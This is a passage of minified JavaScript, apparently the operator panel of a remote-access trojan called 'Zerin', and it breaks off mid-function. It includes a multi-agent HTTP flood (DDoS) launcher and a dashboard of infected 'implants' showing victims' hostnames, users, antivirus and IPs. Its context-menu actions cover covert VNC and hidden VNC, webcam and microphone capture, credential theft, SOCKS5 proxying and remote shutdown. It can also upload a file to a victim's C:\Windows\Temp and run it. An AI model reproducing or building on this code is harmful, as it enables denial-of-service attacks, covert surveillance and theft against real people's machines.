Promise.allSettled(e.map(_=>ke(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z);const O=z.filter(_=>_.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>ke(_,{command:"ddos_stop"})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z),g(!1);const O=z.filter(_=>_.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:aU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:sU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-red-500 hover:bg-red-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const s2={alive:0,stale:1,dead:2};function oU(e,t,n){let r=0;switch(n.column){case"status":r=(s2[e.status]??3)-(s2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=fo(e.os).localeCompare(fo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const lU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function cU(){const e=Qn(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState({x:0,y:0,visible:!1}),[h,x]=p.useState(null),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState("Zerin"),[O,_]=p.useState(""),[T,E]=p.useState(new Set),[U,K]=p.useState(!1),R=p.useRef(null),I=p.useRef(null),F=p.useRef(null),B=p.useCallback(async()=>{try{const C=await Hj();n(C),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{B()},[B]);const{lastMessage:V}=p.useContext(Yu);p.useEffect(()=>{if(V&&V.type==="agent_update"){const C=V.payload;n(D=>{const A=D.findIndex(Z=>Z.id===C.id);if(A>=0){const Z=[...D];return Z[A]=C,Z}return[C,...D]}),y(D=>D&&D.id===C.id?C:D)}},[V]),p.useEffect(()=>{const C=setInterval(B,15e3);return()=>clearInterval(C)},[B]),p.useEffect(()=>()=>{R.current&&clearTimeout(R.current)},[]);const $={total:t.length,alive:t.filter(C=>C.status==="alive").length,stale:t.filter(C=>C.status==="stale").length,dead:t.filter(C=>C.status==="dead").length},Y=[...l==="all"?t:t.filter(C=>C.status===l)].sort((C,D)=>oU(C,D,u));function ie(C){d(D=>({column:C,direction:D.column===C&&D.direction==="asc"?"desc":"asc"}))}function ae(C){c(D=>D===C&&C!=="all"?"all":C)}function fe(C){if(R.current){clearTimeout(R.current),R.current=null,e(`/agents/${C.id}`);return}R.current=setTimeout(()=>{R.current=null,y(C)},250)}function de(C,D){C.preventDefault(),x(D),m({x:C.clientX,y:C.clientY,visible:!0})}function G(C,D){var ge;if(!h)return;const A=h.id,Z=h.hostname,le=D==null?void 0:D.action,me=D==null?void 0:D.tab;if(m(M=>({...M,visible:!1})),x(null),le==="chat"){b(h);return}if(le==="confirm"){j({command:C,agentId:A,hostname:Z});return}if(le==="msgbox"){S({agentId:A,hostname:Z}),z("Zerin"),_("");return}if(le==="vnc"){ix(A).then(()=>{const M=Ze(),ee=window.open(`/vnc/${A}`,`vnc-${A}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start VNC"));return}if(le==="hvnc"){qj(A).then(()=>{const M=Ze(),ee=window.open(`/vnc/${A}?mode=hvnc`,`hvnc-${A}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start hVNC"));return}if(le==="webcam"){Yj(A).then(()=>{const M=Ze(),ee=window.open(`/webcam/${A}`,`webcam-${A}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start webcam"));return}if(le==="mic"){Gj(A).then(()=>{const M=Ze(),ee=window.open(`/mic/${A}`,`mic-${A}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start microphone"));return}if(le==="socks5"){Xj(A).then(M=>{alert(`SOCKS5 proxy started on ${M.bind}:${M.port} Use: ssh -L ${M.port}:127.0.0.1:${M.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(le==="execute_upload"){F.current=A,(ge=I.current)==null||ge.click();return}if(le==="ban"){const M=t.find(ne=>ne.id===A),ee=M==null?void 0:M.banned,W=ee?`Unban agent ${Z} (${A.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${Z} (${A.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(W))return;(ee?yE:gE)(A).then(()=>{n(ne=>ne.map(H=>H.id===A?{...H,banned:!ee}:H))}).catch(()=>o(`Failed to ${ee?"unban":"ban"} agent`));return}if(le==="remove"){if(!confirm(`Remove agent ${Z} (${A.slice(0,8)})? This cannot be undone.`))return;Kj(A).then(()=>{n(M=>M.filter(ee=>ee.id!==A))}).catch(()=>o("Failed to remove agent"));return}(le==="submit"||le==="screenshot")&&C!=="creds"&&ke(A,{command:C}).catch(M=>{o(`Failed to submit task: ${M instanceof Error?M.message:"unknown error"}`)}),me&&e(`/agents/${A}?tab=${me}${C==="creds"?"&auto=1":""}`)}function te(){m(C=>({...C,visible:!1})),x(null)}async function P(C){var me,ge,M;const D=(me=C.target.files)==null?void 0:me[0];if(C.target.value="",!D||!F.current)return;const A=F.current;F.current=null;const Z=D.name,le=`C:\\Windows\\Temp\\${Z}`;try{const ee=await D.arrayBuffer(),W=Array.from(new Uint8Array(ee)),{task_id:X}=await ke(A,{command:"upload",args:[le],data:W});let ne=!1;for(let Q=0;Q<30;Q++){await new Promise(Ae=>setTimeout(Ae,2e3));const re=(ge=(await Tn(A)).results)==null?void 0:ge.find(Ae=>Ae.task_id===X);if(re){if(re.error)throw new Error(re.error);ne=!0;break}}if(!ne)throw new Error("Upload timed out");const{task_id:H}=await ke(A,{command:"execute",args:[le]});for(let Q=0;Q<30;Q++){await new Promise(Ae=>setTimeout(Ae,2e3));const re=(M=(await Tn(A)).results)==null?void 0:M.find(Ae=>Ae.task_id===H);if(re){if(re.error)throw new Error(re.error);alert(`Executed ${Z} on agent`);return}}alert(`File uploaded & execute command sent (${Z})`)}catch(ee){o(`Execute file failed: ${ee instanceof Error?ee.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:I,type:"file",className:"hidden",onChange:P}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Ml,{label:"Total",value:$.total,active:l==="all",onClick:()=>ae("all")}),s.jsx(Ml,{label:"Alive",value:$.alive,active:l==="alive",onClick:()=>ae("alive")}),s.jsx(Ml,{label:"Stale",value:$.stale,active:l==="stale",onClick:()=>ae("stale")}),s.jsx(Ml,{label:"Dead",value:$.dead,active:l==="dead",onClick:()=>ae("dead")})]}),$.dead>0&&s.jsx("div",{className:"flex items-center gap-2 mb-4",children:s.jsxs("button",{onClick:async()=>{if(!confirm(`Remove all ${$.dead} dead agent(s)? This cannot be undone.`))return;const C=t.filter(D=>D.status==="dead").map(D=>D.id);try{await vE(C),n(D=>D.filter(A=>A.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/20 text-red-400 hover:bg-red-500/30 border border-red-500/30 transition-colors",children:["Clear ",$.dead," Dead Agent",$.dead!==1?"s":""]})}),s.jsx(rU,{agents:t}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:B,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Y.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No matching agents"}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:["No ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})," agents found.",s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:["Showing ",s.jsx("span",{className:"text-zerin-text font-medium",children:Y.length})," agent",Y.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["with status ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:Y.length>0&&Y.filter(C=>C.status!=="dead").every(C=>T.has(C.id)),onChange:C=>{C.target.checked?E(new Set(Y.filter(D=>D.status!=="dead").map(D=>D.id))):E(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),lU.map(C=>s.jsx("th",{onClick:()=>ie(C.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${C.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[C.label,s.jsx(uU,{column:C.key,sort:u})]})},C.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:Y.map(C=>s.jsxs("tr",{onClick:()=>fe(C),onContextMenu:D=>de(D,C),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${C.status==="dead"?"opacity-50":""} ${C.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:D=>D.stopPropagation(),children:C.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:T.has(C.id),onChange:D=>{E(A=>{const Z=new Set(A);return D.target.checked?Z.add(C.id):Z.delete(C.id),Z})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(Ku,{status:C.status,size:"sm",showLabel:!0}),C.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${C.banned?"line-through":""}`,children:C.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[C.username,C.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:fo(C.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:C.av_product||"Unknown",children:C.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:uo(C.last_seen),children:Ac(C.last_seen)})]},C.id))})]})})})]}),T.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[T.size," agent",T.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-red-400 bg-red-500/10 border border-red-500/20\r hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsx("button",{onClick:()=>E(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),U&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:C=>C.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(C3,{agentIds:[...T]})]})}),s.jsx(RA,{x:f.x,y:f.y,visible:f.visible,onAction:G,onClose:te,agentStatus:h==null?void 0:h.status,agentName:h==null?void 0:h.hostname}),s.jsx(n5,{agentId:(v==null?void 0:v.id)??"",agentHostname:(v==null?void 0:v.hostname)??"",open:v!==null,onClose:()=>b(null)}),s.jsx(BA,{open:g!==null,onClose:()=>y(null),title:(g==null?void 0:g.hostname)??"Agent Details",children:g&&s.jsx(dU,{agent:g,onNavigate:()=>e(`/agents/${g.id}`),onTagsChange:async C=>{const D=g.tags??[];n(A=>A.map(Z=>Z.id===g.id?{...Z,tags:C}:Z)),y(A=>A&&{...A,tags:C});try{await wE(g.id,C)}catch{n(A=>A.map(Z=>Z.id===g.id?{...Z,tags:D}:Z)),y(A=>A&&{...A,tags:D}),o("Failed to update tags")}}})}),w&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>j(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[w.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",w.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:w.hostname}),"?",w.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>j(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{ke(w.agentId,{command:w.command}).catch(C=>{o(`Failed to submit task: ${C instanceof Error?C.message:"unknown error"}`)}),j(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${w.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:w.command==="restart"?"Restart":"Shutdown"})]})]})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:C=>C.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:N,onChange:C=>z(C.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:C=>_(C.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&ke(k.agentId,{command:"troll_msgbox",args:[O,N||"Zerin"]}).catch(C=>{o(`Failed to submit task: ${C instanceof Error?C.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors`,children:"Send"})]})]})})]})}function Ml({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function uU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function 